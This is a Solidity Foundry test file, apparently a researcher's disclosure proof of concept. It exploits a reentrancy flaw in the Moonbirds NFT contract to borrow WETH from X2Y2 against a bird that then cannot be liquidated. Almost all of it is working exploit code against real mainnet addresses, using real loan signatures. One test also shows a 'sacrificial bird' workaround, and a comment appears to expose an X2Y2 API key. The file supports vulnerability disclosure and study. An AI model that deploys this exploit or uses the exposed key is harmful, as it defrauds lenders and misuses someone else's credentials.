X2Y2MoonbirdsExploit.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.0 <0.9.0;

import "lib/forge-std/src/Test.sol";
import "lib/solmate/src/tokens/ERC721.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "test/X2Y2DataTypes.sol";

interface X2Y2 {
    function borrow(
        Offer calldata _offer,
        uint256 _nftId,
        bool _isCollectionOffer,
        Signature calldata _lenderSignature,
        Signature calldata _brokerSignature,
        CallData calldata _extraDeal
    ) external returns (uint32);

    function liquidate(uint32 _loanId) external;

    function repay(uint32 _loanId) external;
}

//exploits a reentrancy vulnerability in the moonbirds contract to borrow eth from x2y2 in a way that it cannot be liquidated
//details of the moonbirds vulnerability: https://github.com/dhanjani/MoonbirdsSploit/blob/main/MoonbirdsSploit.sol

//more details here https://www.dhanjani.com/2022/05/release-proof-of-concept-exploit-for-the-moonbirds-nft-smart-contract.html

contract X2Y2MoonbirdsExploit is Test, IERC721Receiver {
    address weth_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    IERC20 weth;
    uint256 tokenid = 6969;
    ERC721 moonbirds = ERC721(0x23581767a106ae21c074b2276D25e5C3e136a68b);
    X2Y2 x2y2 = X2Y2(0xFa4D5258804D7723eb6A934c11b1bd423bC31623);
    address x2y2_delegate = 0xeF887e8b1C06209F59E8Ae55D0e625C937344376;

    bool reentrancy = false;
    bool sacrifical_reentrancy = false;
    Offer offer;
    Signature brokersignature;
    Signature lendersignature;
    CallData mycalldata;

    uint32 loanid;

    function setUp() public {
        weth = IERC20(weth_address);
        string memory rpc_url = vm.envString("RPC_URL");

        //locking in block number so the offchain orderdata still works
        vm.createSelectFork(rpc_url, 16631758);

        //https://api.x2y2.io/uniapi/xy3/v1/offer/list?contractAddress=0x23581767a106ae21c074b2276d25e5c3e136a68b&tokenId=281&duration=0&page=1&pageSize=5&sort=desc&order=amount
        //X-API-KEY	8923f924-1f00-4a6a-b484-088e6ffed7f3

        offer.borrowAmount = 5500000000000000000;
        offer.repayAmount = 5589959000000000000;
        offer.nftAsset = address(moonbirds);
        offer.borrowDuration = 259200;
        offer.borrowAsset = weth_address;
        offer.timestamp = 1676417119;
        offer.extra = hex"00";
        // vm.warp(1676434068);

        //POST /uniapi/xy3/v1/offer/server_sign HTTP/2
        //Host: api.x2y2.io
        //{"offerId":"1620859988530581504","tokenId":"6969","contract":"0x23581767a106ae21c074b2276D25e5C3e136a68b"}

        //{"code":0,"msg":null,"data":{"signature":"0x597cc3f1b3c2ffb16a533f54a4c2046fd8f6f729890bbeaa3398c0a312ec77580bfc4af14beeebd038b0d4e08df4f424552e30107e6f2b6cf31610933ec8e5371b","expireTime":1676436668,"nonce":"1620859988530581504","address":"0xFe02d4E2AcCb4248ce1d3f016c0b5bB43d50ddE0"}}

        lendersignature
            .nonce = 11796210377425733474706448735182130124593185481553349342885619744392718998228;
        lendersignature.expiry = 1676503519;
        lendersignature.signer = 0x80E14eb5b69886c0f3c1923e63FC78ce1bC90153;
        lendersignature
            .signature = hex"d9c46329e785ddaac16aa73d56d94f02e1e84f1dba15d9862ee1da297263e02128367dbec0cc2549e27b6d0c8ff20aa3aec72bf79cec811eab2542955bae6e6c1c";

        brokersignature.nonce = 1620859988530581504;
        brokersignature.expiry = 1676436668;
        brokersignature.signer = 0xFe02d4E2AcCb4248ce1d3f016c0b5bB43d50ddE0;
        brokersignature
            .signature = hex"597cc3f1b3c2ffb16a533f54a4c2046fd8f6f729890bbeaa3398c0a312ec77580bfc4af14beeebd038b0d4e08df4f424552e30107e6f2b6cf31610933ec8e5371b";

        moonbirds.setApprovalForAll(x2y2_delegate, true);
    }

    //exploits the moonbirds reentrancy vulnerability
    //borrows loan in a way that the NFT lands in the X2Y2 nested
    //which means it cannot be liquidated if the borrower defaults
    //therefore will revert because liquidation attempts by lender will revert
    function testx2y2MoonBirdsExploit() public {
        //borrow funds by lending moonbird that
        //lands nested in X2Y2
        x2y2MoonBirdsExploit(true, false);

        //fast forward past the loan duration
        vm.warp(block.timestamp + offer.borrowDuration + 1);

        vm.startPrank(lendersignature.signer);
        x2y2.liquidate(loanid); //this will fail because the moonbird is nested
        vm.stopPrank();
    }

    //demo the case where the moonbirds vulnerability is not exploited
    //so will not revert
    function testx2y2MoonBirdswithoutReentrancy() public {
        x2y2MoonBirdsExploit(false, false);
    }

    //sacrifice a bird to get a 'stuck' bird out of X2Y2 via liquidation
    function testCircumventTheVulnerability() public {
        //it is possible to use a 'sacrificial' moonbird to
        //get a 'stuck' ie nested bird liquidated

        //to do this, we take another moonbird, and safeTransferWhileNesting it to ourselves
        //this enables the reentrancy where nestingTransfer is set to 2

        //so now liquidation attempts will work!

        x2y2MoonBirdsExploit(true, true);
    }

    function x2y2MoonBirdsExploit(bool reentrancyattack, bool sacrifice)
        internal
    {
        getmoonbird(tokenid);

        if (reentrancyattack == true) {
            reentrancy = true;

            //safeTransferWhileNesting always works if the bird is nested or not
            //however, initiating this transfer to ourselves, nestingTransfer is set to 2
            //in the moonbirds contract, and when the onERC721Received is invoked
            //when we recieve the bird, we nest the bird and borrow from x2y2
            //x2y2's safetransferfrom will go through because we will be in reentrancy
            //and the bird will be in x2y2 in a nested state

            //x2y2's contracts will not be able to liquidate the bird
            iMoonbirds(address(moonbirds)).safeTransferWhileNesting(
                address(this),
                address(this),
                tokenid
            );
        } else {
            reentrancy_callback_or_borrow();
        }

        if (sacrifice == true) {
            getmoonbird(tokenid + 1); //get a bird to sacrifice ;-)

            console2.log("\nin sacrifical mode, invoking reentrancy\n");

            reentrancy = true;
            sacrifical_reentrancy = true;

            //invoke the reentrancy to now liquidate
            iMoonbirds(address(moonbirds)).safeTransferWhileNesting(
                address(this),
                address(this),
                tokenid + 1 //sacrifical bird, not the one staked
            );

            return;
        }

        vm.warp(block.timestamp + offer.borrowDuration + 1);
        vm.startPrank(lendersignature.signer);
        x2y2.liquidate(loanid);
        vm.stopPrank();
    }

    function reentrancy_callback_or_borrow() internal {
        if (reentrancy == true) {
            uint256[] memory tokenids = new uint256[](1);
            tokenids[0] = tokenid;
            iMoonbirds(address(moonbirds)).toggleNesting(tokenids);
        }

        reentrancy = false;

        loanid = x2y2.borrow(
            offer,
            tokenid,
            true,
            lendersignature,
            brokersignature,
            mycalldata
        );

        //if we are here, the borrow went through and the bird is in x2y2
        console2.log(
            "borrow from x2y2 suceeded. current owner is:",
            moonbirds.ownerOf(tokenid)
        );

        (bool isnesting, , ) = iMoonbirds(address(moonbirds)).nestingPeriod(
            tokenid
        );

        if (isnesting) console2.log("the bird is nesting\n");
        else console2.log("the bird is not nesting\n");
    }

    function sacrificial_liquidate_callback() internal {
        //we are here because prior to the liquidation attempt we invoked the
        //reentrancy using a sacrificial bird
        //so now safetransfer from by the x2y2 contracts will go through
        //therefore out liquidation attempt will go through

        reentrancy = false;
        vm.warp(block.timestamp + offer.borrowDuration + 1);
        vm.startPrank(lendersignature.signer);
        x2y2.liquidate(loanid);

        vm.stopPrank();

        console2.log("liquidation suceeded");
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) public virtual override returns (bytes4) {
        if (reentrancy == true) {
            if (sacrifical_reentrancy == false) reentrancy_callback_or_borrow();
            else sacrificial_liquidate_callback();
        }
        return this.onERC721Received.selector;
    }

    function getmoonbird(uint256 _tokenid) internal {
        address moonbirds_owner = moonbirds.ownerOf(_tokenid);

        vm.startPrank(moonbirds_owner);

        bool isnesting;

        (isnesting, , ) = iMoonbirds(address(moonbirds)).nestingPeriod(
            _tokenid
        );

        uint256[] memory tokenids = new uint256[](1);
        tokenids[0] = _tokenid;
        if (isnesting) {
            iMoonbirds(address(moonbirds)).toggleNesting(tokenids);
        }

        moonbirds.safeTransferFrom(moonbirds_owner, address(this), _tokenid);
        vm.stopPrank();
    }
}

interface iMoonbirds {
    function nestingPeriod(uint256 tokenId)
        external
        returns (
            bool nesting,
            uint256 current,
            uint256 total
        );

    function safeTransferWhileNesting(
        address from,
        address to,
        uint256 tokenId
    ) external;

    function toggleNesting(uint256[] calldata tokenIds) external;
}